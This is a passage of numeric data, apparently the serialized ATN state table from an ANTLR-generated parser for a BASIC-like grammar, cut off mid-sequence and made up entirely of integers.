127,127,131,131,14,0,1,10,12,25,27,44,46,46,56,56,58,62,68,92,97,97,102, + 113,116,117,122,127,131,136,138,155,157,180,3676,0,326,1,0,0,0,2,330,1, + 0,0,0,4,404,1,0,0,0,6,408,1,0,0,0,8,430,1,0,0,0,10,432,1,0,0,0,12,434, + 1,0,0,0,14,441,1,0,0,0,16,458,1,0,0,0,18,475,1,0,0,0,20,485,1,0,0,0,22, + 497,1,0,0,0,24,499,1,0,0,0,26,536,1,0,0,0,28,539,1,0,0,0,30,568,1,0,0, + 0,32,572,1,0,0,0,34,595,1,0,0,0,36,607,1,0,0,0,38,639,1,0,0,0,40,641,1, + 0,0,0,42,651,1,0,0,0,44,653,1,0,0,0,46,668,1,0,0,0,48,670,1,0,0,0,50,694, + 1,0,0,0,52,716,1,0,0,0,54,785,1,0,0,0,56,855,1,0,0,0,58,857,1,0,0,0,60, + 870,1,0,0,0,62,872,1,0,0,0,64,876,1,0,0,0,66,880,1,0,0,0,68,901,1,0,0, + 0,70,919,1,0,0,0,72,936,1,0,0,0,74,949,1,0,0,0,76,989,1,0,0,0,78,1005, + 1,0,0,0,80,1083,1,0,0,0,82,1085,1,0,0,0,84,1090,1,0,0,0,86,1111,1,0,0, + 0,88,1131,1,0,0,0,90,1147,1,0,0,0,92,1163,1,0,0,0,94,1170,1,0,0,0,96,1180, + 1,0,0,0,98,1182,1,0,0,0,100,1194,1,0,0,0,102,1232,1,0,0,0,104,1286,1,0, + 0,0,106,1342,1,0,0,0,108,1364,1,0,0,0,110,1368,1,0,0,0,112,1372,1,0,0, + 0,114,1384,1,0,0,0,116,1397,1,0,0,0,118,1414,1,0,0,0,120,1420,1,0,0,0, + 122,1442,1,0,0,0,124,1444,1,0,0,0,126,1462,1,0,0,0,128,1476,1,0,0,0,130, + 1480,1,0,0,0,132,1495,1,0,0,0,134,1499,1,0,0,0,136,1549,1,0,0,0,138,1561, + 1,0,0,0,140,1573,1,0,0,0,142,1577,1,0,0,0,144,1596,1,0,0,0,146,1608,1, + 0,0,0,148,1620,1,0,0,0,150,1638,1,0,0,0,152,1656,1,0,0,0,154,1670,1,0, + 0,0,156,1674,1,0,0,0,158,1682,1,0,0,0,160,1692,1,0,0,0,162,1712,1,0,0, + 0,164,1732,1,0,0,0,166,1798,1,0,0,0,168,1817,1,0,0,0,170,1819,1,0,0,0, + 172,1837,1,0,0,0,174,1877,1,0,0,0,176,1910,1,0,0,0,178,1940,1,0,0,0,180, + 1962,1,0,0,0,182,1981,1,0,0,0,184,1986,1,0,0,0,186,2006,1,0,0,0,188,2023, + 1,0,0,0,190,2025,1,0,0,0,192,2033,1,0,0,0,194,2035,1,0,0,0,196,2039,1, + 0,0,0,198,2051,1,0,0,0,200,2063,1,0,0,0,202,2091,1,0,0,0,204,2103,1,0, + 0,0,206,2124,1,0,0,0,208,2161,1,0,0,0,210,2180,1,0,0,0,212,2182,1,0,0, + 0,214,2195,1,0,0,0,216,2207,1,0,0,0,218,2219,1,0,0,0,220,2224,1,0,0,0, + 222,2258,1,0,0,0,224,2271,1,0,0,0,226,2289,1,0,0,0,228,2315,1,0,0,0,230, + 2324,1,0,0,0,232,2328,1,0,0,0,234,2416,1,0,0,0,236,2571,1,0,0,0,238,2580, + 1,0,0,0,240,2594,1,0,0,0,242,2621,1,0,0,0,244,2643,1,0,0,0,246,2655,1, + 0,0,0,248,2677,1,0,0,0,250,2692,1,0,0,0,252,2694,1,0,0,0,254,2715,1,0, + 0,0,256,2745,1,0,0,0,258,2758,1,0,0,0,260,2763,1,0,0,0,262,2767,1,0,0, + 0,264,2784,1,0,0,0,266,2786,1,0,0,0,268,2796,1,0,0,0,270,2822,1,0,0,0, + 272,2843,1,0,0,0,274,2854,1,0,0,0,276,2864,1,0,0,0,278,2878,1,0,0,0,280, + 2899,1,0,0,0,282,2903,1,0,0,0,284,2908,1,0,0,0,286,2935,1,0,0,0,288,2969, + 1,0,0,0,290,2975,1,0,0,0,292,2994,1,0,0,0,294,3012,1,0,0,0,296,3014,1, + 0,0,0,298,3025,1,0,0,0,300,3042,1,0,0,0,302,3044,1,0,0,0,304,3046,1,0, + 0,0,306,3054,1,0,0,0,308,3062,1,0,0,0,310,3077,1,0,0,0,312,3087,1,0,0, + 0,314,3089,1,0,0,0,316,3091,1,0,0,0,318,3095,1,0,0,0,320,3107,1,0,0,0, + 322,3109,1,0,0,0,324,3111,1,0,0,0,326,327,3,2,1,0,327,328,5,0,0,1,328, + 1,1,0,0,0,329,331,5,223,0,0,330,329,1,0,0,0,330,331,1,0,0,0,331,335,1, + 0,0,0,332,334,5,219,0,0,333,332,1,0,0,0,334,337,1,0,0,0,335,333,1,0,0, + 0,335,336,1,0,0,0,336,344,1,0,0,0,337,335,1,0,0,0,338,340,3,12,6,0,339, + 341,5,219,0,0,340,339,1,0,0,0,341,342,1,0,0,0,342,340,1,0,0,0,342,343, + 1,0,0,0,343,345,1,0,0,0,344,338,1,0,0,0,344,345,1,0,0,0,345,347,1,0,0, + 0,346,348,3,4,2,0,347,346,1,0,0,0,347,348,1,0,0,0,348,352,1,0,0,0,349, + 351,5,219,0,0,350,349,1,0,0,0,351,354,1,0,0,0,352,350,1,0,0,0,352,353, + 1,0,0,0,353,356,1,0,0,0,354,352,1,0,0,0,355,357,3,28,14,0,356,355,1,0, + 0,0,356,357,1,0,0,0,357,361,1,0,0,0,358,360,5,219,0,0,359,358,1,0,0,0, + 360,363,1,0,0,0,361,359,1,0,0,0,361,362,1,0,0,0,362,365,1,0,0,0,363,361, + 1,0,0,0,364,366,3,14,7,0,365,364,1,0,0,0,365,366,1,0,0,0,366,370,1,0,0, + 0,367,369,5,219,0,0,368,367,1,0,0,0,369,372,1,0,0,0,370,368,1,0,0,0,370, + 371,1,0,0,0,371,374,1,0,0,0,372,370,1,0,0,0,373,375,3,18,9,0,374,373,1, + 0,0,0,374,375,1,0,0,0,375,379,1,0,0,0,376,378,5,219,0,0,377,376,1,0,0, + 0,378,381,1,0,0,0,379,377,1,0,0,0,379,380,1,0,0,0,380,383,1,0,0,0,381, + 379,1,0,0,0,382,384,3,20,10,0,383,382,1,0,0,0,383,384,1,0,0,0,384,388, + 1,0,0,0,385,387,5,219,0,0,386,385,1,0,0,0,387,390,1,0,0,0,388,386,1,0, + 0,0,388,389,1,0,0,0,389,392,1,0,0,0,390,388,1,0,0,0,391,393,3,24,12,0, + 392,391,1,0,0,0,392,393,1,0,0,0,393,397,1,0,0,0,394,396,5,219,0,0,395, + 394,1,0,0,0,396,399,1,0,0,0,397,395,1,0,0,0,397,398,1,0,0,0,398,401,1, + 0,0,0,399,397,1,0,0,0,400,402,5,223,0,0,401,400,1,0,0,0,401,402,1,0,0, + 0,402,3,1,0,0,0,403,405,3,6,3,0,404,403,1,0,0,0,405,406,1,0,0,0,406,404, + 1,0,0,0,406,407,1,0,0,0,407,5,1,0,0,0,408,410,5,112,0,0,409,411,5,223, + 0,0,410,409,1,0,0,0,410,411,1,0,0,0,411,412,1,0,0,0,412,414,5,188,0,0, + 413,415,5,223,0,0,414,413,1,0,0,0,414,415,1,0,0,0,415,416,1,0,0,0,416, + 422,3,8,4,0,417,419,5,207,0,0,418,420,5,223,0,0,419,418,1,0,0,0,419,420, + 1,0,0,0,420,421,1,0,0,0,421,423,3,10,5,0,422,417,1,0,0,0,422,423,1,0,0, + 0,423,427,1,0,0,0,424,426,5,219,0,0,425,424,1,0,0,0,426,429,1,0,0,0,427, + 425,1,0,0,0,427,428,1,0,0,0,428,7,1,0,0,0,429,427,1,0,0,0,430,431,5,210, + 0,0,431,9,1,0,0,0,432,433,5,210,0,0,433,11,1,0,0,0,434,435,5,173,0,0,435, + 436,5,223,0,0,436,439,5,214,0,0,437,438,5,223,0,0,438,440,5,21,0,0,439, + 437,1,0,0,0,439,440,1,0,0,0,440,13,1,0,0,0,441,443,5,10,0,0,442,444,5, + 219,0,0,443,442,1,0,0,0,444,445,1,0,0,0,445,443,1,0,0,0,445,446,1,0,0, + 0,446,448,1,0,0,0,447,449,3,16,8,0,448,447,1,0,0,0,449,450,1,0,0,0,450, + 448,1,0,0,0,450,451,1,0,0,0,451,452,1,0,0,0,452,454,5,56,0,0,453,455,5, + 219,0,0,454,453,1,0,0,0,455,456,1,0,0,0,456,454,1,0,0,0,456,457,1,0,0, + 0,457,15,1,0,0,0,458,460,3,294,147,0,459,461,5,223,0,0,460,459,1,0,0,0, + 460,461,1,0,0,0,461,462,1,0,0,0,462,464,5,188,0,0,463,465,5,223,0,0,464, + 463,1,0,0,0,464,465,1,0,0,0,465,466,1,0,0,0,466,467,3,312,156,0,467,468, + 5,219,0,0,468,17,1,0,0,0,469,471,3,48,24,0,470,472,5,219,0,0,471,470,1, + 0,0,0,472,473,1,0,0,0,473,471,1,0,0,0,473,474,1,0,0,0,474,476,1,0,0,0, + 475,469,1,0,0,0,476,477,1,0,0,0,477,475,1,0,0,0,477,478,1,0,0,0,478,19, + 1,0,0,0,479,481,3,22,11,0,480,482,5,219,0,0,481,480,1,0,0,0,482,483,1, + 0,0,0,483,481,1,0,0,0,483,484,1,0,0,0,484,486,1,0,0,0,485,479,1,0,0,0, + 486,487,1,0,0,0,487,485,1,0,0,0,487,488,1,0,0,0,488,21,1,0,0,0,489,490, + 5,118,0,0,490,491,5,223,0,0,491,498,5,213,0,0,492,493,5,120,0,0,493,494, + 5,223,0,0,494,498,7,0,0,0,495,498,5,119,0,0,496,498,5,121,0,0,497,489, + 1,0,0,0,497,492,1,0,0,0,497,495,1,0,0,0,497,496,1,0,0,0,498,23,1,0,0,0, + 499,501,3,26,13,0,500,502,5,223,0,0,501,500,1,0,0,0,501,502,1,0,0,0,502, + 521,1,0,0,0,503,505,5,219,0,0,504,503,1,0,0,0,505,506,1,0,0,0,506,504, + 1,0,0,0,506,507,1,0,0,0,507,514,1,0,0,0,508,510,5,220,0,0,509,508,1,0, + 0,0,510,511,1,0,0,0,511,509,1,0,0,0,511,512,1,0,0,0,512,514,1,0,0,0,513, + 504,1,0,0,0,513,509,1,0,0,0,514,516,1,0,0,0,515,517,5,223,0,0,516,515, + 1,0,0,0,516,517,1,0,0,0,517,518,1,0,0,0,518,520,3,26,13,0,519,513,1,0, + 0,0,520,523,1,0,0,0,521,519,1,0,0,0,521,522,1,0,0,0,522,25,1,0,0,0,523, + 521,1,0,0,0,524,537,3,46,23,0,525,537,3,22,11,0,526,537,3,74,37,0,527, + 537,3,86,43,0,528,537,3,84,42,0,529,537,3,94,47,0,530,537,3,104,52,0,531, + 537,3,172,86,0,532,537,3,174,87,0,533,537,3,176,88,0,534,537,3,220,110, + 0,535,537,3,224,112,0,536,524,1,0,0,0,536,525,1,0,0,0,536,526,1,0,0,0, + 536,527,1,0,0,0,536,528,1,0,0,0,536,529,1,0,0,0,536,530,1,0,0,0,536,531, + 1,0,0,0,536,532,1,0,0,0,536,533,1,0,0,0,536,534,1,0,0,0,536,535,1,0,0, + 0,537,27,1,0,0,0,538,540,5,223,0,0,539,538,1,0,0,0,539,540,1,0,0,0,540, + 541,1,0,0,0,541,542,5,10,0,0,542,543,5,223,0,0,543,544,3,38,19,0,544,545, + 5,223,0,0,545,547,3,40,20,0,546,548,5,223,0,0,547,546,1,0,0,0,547,548, + 1,0,0,0,548,550,1,0,0,0,549,551,5,219,0,0,550,549,1,0,0,0,551,552,1,0, + 0,0,552,550,1,0,0,0,552,553,1,0,0,0,553,555,1,0,0,0,554,556,3,30,15,0, + 555,554,1,0,0,0,556,557,1,0,0,0,557,555,1,0,0,0,557,558,1,0,0,0,558,559, + 1,0,0,0,559,563,5,56,0,0,560,562,5,219,0,0,561,560,1,0,0,0,562,565,1,0, + 0,0,563,561,1,0,0,0,563,564,1,0,0,0,564,29,1,0,0,0,565,563,1,0,0,0,566, + 569,3,36,18,0,567,569,3,28,14,0,568,566,1,0,0,0,568,567,1,0,0,0,569,31, + 1,0,0,0,570,571,5,112,0,0,571,573,5,187,0,0,572,570,1,0,0,0,572,573,1, + 0,0,0,573,574,1,0,0,0,574,579,3,294,147,0,575,576,5,195,0,0,576,577,3, + 312,156,0,577,578,5,206,0,0,578,580,1,0,0,0,579,575,1,0,0,0,579,580,1, + 0,0,0,580,591,1,0,0,0,581,582,5,187,0,0,582,587,3,294,147,0,583,584,5, + 195,0,0,584,585,3,312,156,0,585,586,5,206,0,0,586,588,1,0,0,0,587,583, + 1,0,0,0,587,588,1,0,0,0,588,590,1,0,0,0,589,581,1,0,0,0,590,593,1,0,0, + 0,591,589,1,0,0,0,591,592,1,0,0,0,592,33,1,0,0,0,593,591,1,0,0,0,594,596, + 5,186,0,0,595,594,1,0,0,0,595,596,1,0,0,0,596,604,1,0,0,0,597,605,3,312, + 156,0,598,599,5,194,0,0,599,600,3,294,147,0,600,601,5,205,0,0,601,605, + 1,0,0,0,602,603,5,204,0,0,603,605,3,294,147,0,604,597,1,0,0,0,604,598, + 1,0,0,0,604,602,1,0,0,0,605,35,1,0,0,0,606,608,5,223,0,0,607,606,1,0,0, + 0,607,608,1,0,0,0,608,609,1,0,0,0,609,610,5,11,0,0,610,611,5,223,0,0,611, + 615,3,294,147,0,612,613,5,195,0,0,613,614,5,213,0,0,614,616,5,206,0,0, + 615,612,1,0,0,0,615,616,1,0,0,0,616,619,1,0,0,0,617,618,5,223,0,0,618, + 620,5,217,0,0,619,617,1,0,0,0,619,620,1,0,0,0,620,622,1,0,0,0,621,623, + 5,219,0,0,622,621,1,0,0,0,623,624,1,0,0,0,624,622,1,0,0,0,624,625,1,0, + 0,0,625,631,1,0,0,0,626,628,3,30,15,0,627,626,1,0,0,0,628,629,1,0,0,0, + 629,627,1,0,0,0,629,630,1,0,0,0,630,632,1,0,0,0,631,627,1,0,0,0,631,632, + 1,0,0,0,632,633,1,0,0,0,633,635,5,57,0,0,634,636,5,219,0,0,635,634,1,0, + 0,0,636,637,1,0,0,0,637,635,1,0,0,0,637,638,1,0,0,0,638,37,1,0,0,0,639, + 640,3,304,152,0,640,39,1,0,0,0,641,642,3,294,147,0,642,41,1,0,0,0,643, + 652,3,50,25,0,644,646,3,50,25,0,645,644,1,0,0,0,645,646,1,0,0,0,646,649, + 1,0,0,0,647,650,3,52,26,0,648,650,3,56,28,0,649,647,1,0,0,0,649,648,1, + 0,0,0,650,652,1,0,0,0,651,643,1,0,0,0,651,645,1,0,0,0,652,43,1,0,0,0,653, + 665,3,42,21,0,654,656,5,219,0,0,655,654,1,0,0,0,656,657,1,0,0,0,657,655, + 1,0,0,0,657,658,1,0,0,0,658,660,1,0,0,0,659,661,5,223,0,0,660,659,1,0, + 0,0,660,661,1,0,0,0,661,662,1,0,0,0,662,664,3,42,21,0,663,655,1,0,0,0, + 664,667,1,0,0,0,665,663,1,0,0,0,665,666,1,0,0,0,666,45,1,0,0,0,667,665, + 1,0,0,0,668,669,3,44,22,0,669,47,1,0,0,0,670,671,5,5,0,0,671,672,5,223, + 0,0,672,674,3,264,132,0,673,675,5,223,0,0,674,673,1,0,0,0,674,675,1,0, + 0,0,675,676,1,0,0,0,676,678,5,188,0,0,677,679,5,223,0,0,678,677,1,0,0, + 0,678,679,1,0,0,0,679,680,1,0,0,0,680,691,3,312,156,0,681,683,5,223,0, + 0,682,681,1,0,0,0,682,683,1,0,0,0,683,684,1,0,0,0,684,686,5,184,0,0,685, + 687,5,223,0,0,686,685,1,0,0,0,686,687,1,0,0,0,687,688,1,0,0,0,688,690, + 3,312,156,0,689,682,1,0,0,0,690,693,1,0,0,0,691,689,1,0,0,0,691,692,1, + 0,0,0,692,49,1,0,0,0,693,691,1,0,0,0,694,696,3,294,147,0,695,697,5,223, + 0,0,696,695,1,0,0,0,696,697,1,0,0,0,697,698,1,0,0,0,698,700,5,220,0,0, + 699,701,5,223,0,0,700,699,1,0,0,0,700,701,1,0,0,0,701,51,1,0,0,0,702,717, + 3,54,27,0,703,705,3,54,27,0,704,703,1,0,0,0,704,705,1,0,0,0,705,709,1, + 0,0,0,706,707,5,220,0,0,707,710,3,54,27,0,708,710,5,220,0,0,709,706,1, + 0,0,0,709,708,1,0,0,0,710,711,1,0,0,0,711,709,1,0,0,0,711,712,1,0,0,0, + 712,714,1,0,0,0,713,715,5,220,0,0,714,713,1,0,0,0,714,715,1,0,0,0,715, + 717,1,0,0,0,716,702,1,0,0,0,716,704,1,0,0,0,717,53,1,0,0,0,718,786,3,58, + 29,0,719,786,3,48,24,0,720,786,3,60,30,0,721,786,3,62,31,0,722,786,3,64, + 32,0,723,786,3,66,33,0,724,786,3,68,34,0,725,786,3,72,36,0,726,786,3,78, + 39,0,727,786,3,76,38,0,728,786,3,80,40,0,729,786,3,82,41,0,730,786,3,90, + 45,0,731,786,3,92,46,0,732,786,3,96,48,0,733,786,3,250,125,0,734,786,3, + 98,49,0,735,786,3,100,50,0,736,786,3,102,51,0,737,786,3,106,53,0,738,786, + 3,108,54,0,739,786,3,110,55,0,740,786,3,114,57,0,741,786,3,128,64,0,742, + 786,3,130,65,0,743,786,3,132,66,0,744,786,3,134,67,0,745,786,3,136,68, + 0,746,786,3,138,69,0,747,786,3,140,70,0,748,786,3,142,71,0,749,786,3,144, + 72,0,750,786,3,146,73,0,751,786,3,154,77,0,752,786,3,156,78,0,753,786, + 3,158,79,0,754,786,3,160,80,0,755,786,3,162,81,0,756,786,3,164,82,0,757, + 786,3,170,85,0,758,786,3,178,89,0,759,786,3,180,90,0,760,786,3,182,91, + 0,761,786,3,184,92,0,762,786,3,188,94,0,763,786,3,190,95,0,764,786,3,192, + 96,0,765,786,3,194,97,0,766,786,3,196,98,0,767,786,3,198,99,0,768,786, + 3,200,100,0,769,786,3,202,101,0,770,786,3,204,102,0,771,786,3,212,106, + 0,772,786,3,214,107,0,773,786,3,216,108,0,774,786,3,218,109,0,775,786, + 3,222,111,0,776,786,3,230,115,0,777,786,3,232,116,0,778,786,3,236,118, + 0,779,786,3,242,121,0,780,786,3,244,122,0,781,786,3,246,123,0,782,786, + 3,248,124,0,783,786,3,264,132,0,784,786,3,256,128,0,785,718,1,0,0,0,785, + 719,1,0,0,0,785,720,1,0,0,0,785,721,1,0,0,0,785,722,1,0,0,0,785,723,1, + 0,0,0,785,724,1,0,0,0,785,725,1,0,0,0,785,726,1,0,0,0,785,727,1,0,0,0, + 785,728,1,0,0,0,785,729,1,0,0,0,785,730,1,0,0,0,785,731,1,0,0,0,785,732, + 1,0,0,0,785,733,1,0,0,0,785,734,1,0,0,0,785,735,1,0,0,0,785,736,1,0,0, + 0,785,737,1,0,0,0,785,738,1,0,0,0,785,739,1,0,0,0,785,740,1,0,0,0,785, + 741,1,0,0,0,785,742,1,0,0,0,785,743,1,0,0,0,785,744,1,0,0,0,785,745,1, + 0,0,0,785,746,1,0,0,0,785,747,1,0,0,0,785,748,1,0,0,0,785,749,1,0,0,0, + 785,750,1,0,0,0,785,751,1,0,0,0,785,752,1,0,0,0,785,753,1,0,0,0,785,754, + 1,0,0,0,785,755,1,0,0,0,785,756,1,0,0,0,785,757,1,0,0,0,785,758,1,0,0, + 0,785,759,1,0,0,0,785,760,1,0,0,0,785,761,1,0,0,0,785,762,1,0,0,0,785, + 763,1,0,0,0,785,764,1,0,0,0,785,765,1,0,0,0,785,766,1,0,0,0,785,767,1, + 0,0,0,785,768,1,0,0,0,785,769,1,0,0,0,785,770,1,0,0,0,785,771,1,0,0,0, + 785,772,1,0,0,0,785,773,1,0,0,0,785,774,1,0,0,0,785,775,1,0,0,0,785,776, + 1,0,0,0,785,777,1,0,0,0,785,778,1,0,0,0,785,779,1,0,0,0,785,780,1,0,0, + 0,785,781,1,0,0,0,785,782,1,0,0,0,785,783,1,0,0,0,785,784,1,0,0,0,786, + 55,1,0,0,0,787,856,3,58,29,0,788,856,3,48,24,0,789,856,3,60,30,0,790,856, + 3,62,31,0,791,856,3,64,32,0,792,856,3,66,33,0,793,856,3,68,34,0,794,856, + 3,72,36,0,795,856,3,78,39,0,796,856,3,76,38,0,797,856,3,80,40,0,798,856, + 3,82,41,0,799,856,3,90,45,0,800,856,3,92,46,0,801,856,3,96,48,0,802,856, + 3,250,125,0,803,856,3,98,49,0,804,856,3,100,50,0,805,856,3,102,51,0,806, + 856,3,106,53,0,807,856,3,108,54,0,808,856,3,110,55,0,809,856,3,114,57, + 0,810,856,3,112,56,0,811,856,3,128,64,0,812,856,3,130,65,0,813,856,3,132, + 66,0,814,856,3,134,67,0,815,856,3,136,68,0,816,856,3,138,69,0,817,856, + 3,140,70,0,818,856,3,142,71,0,819,856,3,144,72,0,820,856,3,146,73,0,821, + 856,3,154,77,0,822,856,3,156,78,0,823,856,3,158,79,0,824,856,3,160,80, + 0,825,856,3,162,81,0,826,856,3,164,82,0,827,856,3,170,85,0,828,856,3,178, + 89,0,829,856,3,180,90,0,830,856,3,182,91,0,831,856,3,184,92,0,832,856, + 3,188,94,0,833,856,3,190,95,0,834,856,3,192,96,0,835,856,3,194,97,0,836, + 856,3,196,98,0,837,856,3,198,99,0,838,856,3,200,100,0,839,856,3,202,101, + 0,840,856,3,204,102,0,841,856,3,212,106,0,842,856,3,214,107,0,843,856, + 3,216,108,0,844,856,3,218,109,0,845,856,3,222,111,0,846,856,3,230,115, + 0,847,856,3,232,116,0,848,856,3,236,118,0,849,856,3,242,121,0,850,856, + 3,244,122,0,851,856,3,246,123,0,852,856,3,248,124,0,853,856,3,264,132, + 0,854,856,3,256,128,0,855,787,1,0,0,0,855,788,1,0,0,0,855,789,1,0,0,0, + 855,790,1,0,0,0,855,791,1,0,0,0,855,792,1,0,0,0,855,793,1,0,0,0,855,794, + 1,0,0,0,855,795,1,0,0,0,855,796,1,0,0,0,855,797,1,0,0,0,855,798,1,0,0, + 0,855,799,1,0,0,0,855,800,1,0,0,0,855,801,1,0,0,0,855,802,1,0,0,0,855, + 803,1,0,0,0,855,804,1,0,0,0,855,805,1,0,0,0,855,806,1,0,0,0,855,807,1, + 0,0,0,855,808,1,0,0,0,855,809,1,0,0,0,855,810,1,0,0,0,855,811,1,0,0,0, + 855,812,1,0,0,0,855,813,1,0,0,0,855,814,1,0,0,0,855,815,1,0,0,0,855,816, + 1,0,0,0,855,817,1,0,0,0,855,818,1,0,0,0,855,819,1,0,0,0,855,820,1,0,0, + 0,855,821,1,0,0,0,855,822,1,0,0,0,855,823,1,0,0,0,855,824,1,0,0,0,855, + 825,1,0,0,0,855,826,1,0,0,0,855,827,1,0,0,0,855,828,1,0,0,0,855,829,1, + 0,0,0,855,830,1,0,0,0,855,831,1,0,0,0,855,832,1,0,0,0,855,833,1,0,0,0, + 855,834,1,0,0,0,855,835,1,0,0,0,855,836,1,0,0,0,855,837,1,0,0,0,855,838, + 1,0,0,0,855,839,1,0,0,0,855,840,1,0,0,0,855,841,1,0,0,0,855,842,1,0,0, + 0,855,843,1,0,0,0,855,844,1,0,0,0,855,845,1,0,0,0,855,846,1,0,0,0,855, + 847,1,0,0,0,855,848,1,0,0,0,855,849,1,0,0,0,855,850,1,0,0,0,855,851,1, + 0,0,0,855,852,1,0,0,0,855,853,1,0,0,0,855,854,1,0,0,0,856,57,1,0,0,0,857, + 858,5,6,0,0,858,859,5,223,0,0,859,868,3,234,117,0,860,862,5,223,0,0,861, + 860,1,0,0,0,861,862,1,0,0,0,862,863,1,0,0,0,863,865,5,184,0,0,864,866, + 5,223,0,0,865,864,1,0,0,0,865,866,1,0,0,0,866,867,1,0,0,0,867,869,3,234, + 117,0,868,861,1,0,0,0,868,869,1,0,0,0,869,59,1,0,0,0,870,871,5,9,0,0,871, + 61,1,0,0,0,872,873,5,19,0,0,873,874,5,223,0,0,874,875,3,234,117,0,875, + 63,1,0,0,0,876,877,5,20,0,0,877,878,5,223,0,0,878,879,3,234,117,0,879, + 65,1,0,0,0,880,896,5,22,0,0,881,882,5,223,0,0,882,893,3,234,117,0,883, + 885,5,223,0,0,884,883,1,0,0,0,884,885,1,0,0,0,885,886,1,0,0,0,886,888, + 5,184,0,0,887,889,5,223,0,0,888,887,1,0,0,0,888,889,1,0,0,0,889,890,1, + 0,0,0,890,892,3,234,117,0,891,884,1,0,0,0,892,895,1,0,0,0,893,891,1,0, + 0,0,893,894,1,0,0,0,894,897,1,0,0,0,895,893,1,0,0,0,896,881,1,0,0,0,896, + 897,1,0,0,0,897,67,1,0,0,0,898,899,3,316,158,0,899,900,5,223,0,0,900,902, + 1,0,0,0,901,898,1,0,0,0,901,902,1,0,0,0,902,903,1,0,0,0,903,904,5,24,0, + 0,904,905,5,223,0,0,905,916,3,70,35,0,906,908,5,223,0,0,907,906,1,0,0, + 0,907,908,1,0,0,0,908,909,1,0,0,0,909,911,5,184,0,0,910,912,5,223,0,0, + 911,910,1,0,0,0,911,912,1,0,0,0,912,913,1,0,0,0,913,915,3,70,35,0,914, + 907,1,0,0,0,915,918,1,0,0,0,916,914,1,0,0,0,916,917,1,0,0,0,917,69,1,0, + 0,0,918,916,1,0,0,0,919,921,3,294,147,0,920,922,3,320,160,0,921,920,1, + 0,0,0,921,922,1,0,0,0,922,925,1,0,0,0,923,924,5,223,0,0,924,926,3,296, + 148,0,925,923,1,0,0,0,925,926,1,0,0,0,926,928,1,0,0,0,927,929,5,223,0, + 0,928,927,1,0,0,0,928,929,1,0,0,0,929,930,1,0,0,0,930,932,5,188,0,0,931, + 933,5,223,0,0,932,931,1,0,0,0,932,933,1,0,0,0,933,934,1,0,0,0,934,935, + 3,234,117,0,935,71,1,0,0,0,936,938,5,25,0,0,937,939,5,223,0,0,938,937, + 1,0,0,0,938,939,1,0,0,0,939,940,1,0,0,0,940,942,5,188,0,0,941,943,5,223, + 0,0,942,941,1,0,0,0,942,943,1,0,0,0,943,944,1,0,0,0,944,945,3,234,117, + 0,945,73,1,0,0,0,946,947,3,322,161,0,947,948,5,223,0,0,948,950,1,0,0,0, + 949,946,1,0,0,0,949,950,1,0,0,0,950,951,1,0,0,0,951,952,5,27,0,0,952,955, + 5,223,0,0,953,954,5,26,0,0,954,956,5,223,0,0,955,953,1,0,0,0,955,956,1, + 0,0,0,956,962,1,0,0,0,957,959,5,72,0,0,958,960,3,320,160,0,959,958,1,0, + 0,0,959,960,1,0,0,0,960,963,1,0,0,0,961,963,5,160,0,0,962,957,1,0,0,0, + 962,961,1,0,0,0,963,964,1,0,0,0,964,965,5,223,0,0,965,967,3,294,147,0, + 966,968,3,320,160,0,967,966,1,0,0,0,967,968,1,0,0,0,968,969,1,0,0,0,969, + 970,5,223,0,0,970,971,5,91,0,0,971,972,5,223,0,0,972,977,5,210,0,0,973, + 974,5,223,0,0,974,975,5,3,0,0,975,976,5,223,0,0,976,978,5,210,0,0,977, + 973,1,0,0,0,977,978,1,0,0,0,978,983,1,0,0,0,979,981,5,223,0,0,980,979, + 1,0,0,0,980,981,1,0,0,0,981,982,1,0,0,0,982,984,3,284,142,0,983,980,1, + 0,0,0,983,984,1,0,0,0,984,987,1,0,0,0,985,986,5,223,0,0,986,988,3,296, + 148,0,987,985,1,0,0,0,987,988,1,0,0,0,988,75,1,0,0,0,989,990,7,1,0,0,990, + 991,5,223,0,0,991,1002,3,308,154,0,992,994,5,223,0,0,993,992,1,0,0,0,993, + 994,1,0,0,0,994,995,1,0,0,0,995,997,5,184,0,0,996,998,5,223,0,0,997,996, + 1,0,0,0,997,998,1,0,0,0,998,999,1,0,0,0,999,1001,3,308,154,0,1000,993, + 1,0,0,0,1001,1004,1,0,0,0,1002,1000,1,0,0,0,1002,1003,1,0,0,0,1003,77, + 1,0,0,0,1004,1002,1,0,0,0,1005,1006,5,40,0,0,1006,1007,5,223,0,0,1007, + 1009,3,234,117,0,1008,1010,5,223,0,0,1009,1008,1,0,0,0,1009,1010,1,0,0, + 0,1010,1011,1,0,0,0,1011,1013,5,184,0,0,1012,1014,5,223,0,0,1013,1012, + 1,0,0,0,1013,1014,1,0,0,0,1014,1015,1,0,0,0,1015,1024,3,234,117,0,1016, + 1018,5,223,0,0,1017,1016,1,0,0,0,1017,1018,1,0,0,0,1018,1019,1,0,0,0,1019, + 1021,5,184,0,0,1020,1022,5,223,0,0,1021,1020,1,0,0,0,1021,1022,1,0,0,0, + 1022,1023,1,0,0,0,1023,1025,3,234,117,0,1024,1017,1,0,0,0,1024,1025,1, + 0,0,0,1025,79,1,0,0,0,1026,1028,5,42,0,0,1027,1029,7,2,0,0,1028,1027,1, + 0,0,0,1029,1030,1,0,0,0,1030,1028,1,0,0,0,1030,1031,1,0,0,0,1031,1038, + 1,0,0,0,1032,1034,3,44,22,0,1033,1035,7,2,0,0,1034,1033,1,0,0,0,1035,1036, + 1,0,0,0,1036,1034,1,0,0,0,1036,1037,1,0,0,0,1037,1039,1,0,0,0,1038,1032, + 1,0,0,0,1038,1039,1,0,0,0,1039,1040,1,0,0,0,1040,1084,5,88,0,0,1041,1042, + 5,42,0,0,1042,1043,5,223,0,0,1043,1045,7,3,0,0,1044,1046,5,223,0,0,1045, + 1044,1,0,0,0,1045,1046,1,0,0,0,1046,1047,1,0,0,0,1047,1049,3,234,117,0, + 1048,1050,7,2,0,0,1049,1048,1,0,0,0,1050,1051,1,0,0,0,1051,1049,1,0,0, + 0,1051,1052,1,0,0,0,1052,1059,1,0,0,0,1053,1055,3,44,22,0,1054,1056,7, + 2,0,0,1055,1054,1,0,0,0,1056,1057,1,0,0,0,1057,1055,1,0,0,0,1057,1058, + 1,0,0,0,1058,1060,1,0,0,0,1059,1053,1,0,0,0,1059,1060,1,0,0,0,1060,1061, + 1,0,0,0,1061,1062,5,88,0,0,1062,1084,1,0,0,0,1063,1065,5,42,0,0,1064,1066, + 7,2,0,0,1065,1064,1,0,0,0,1066,1067,1,0,0,0,1067,1065,1,0,0,0,1067,1068, + 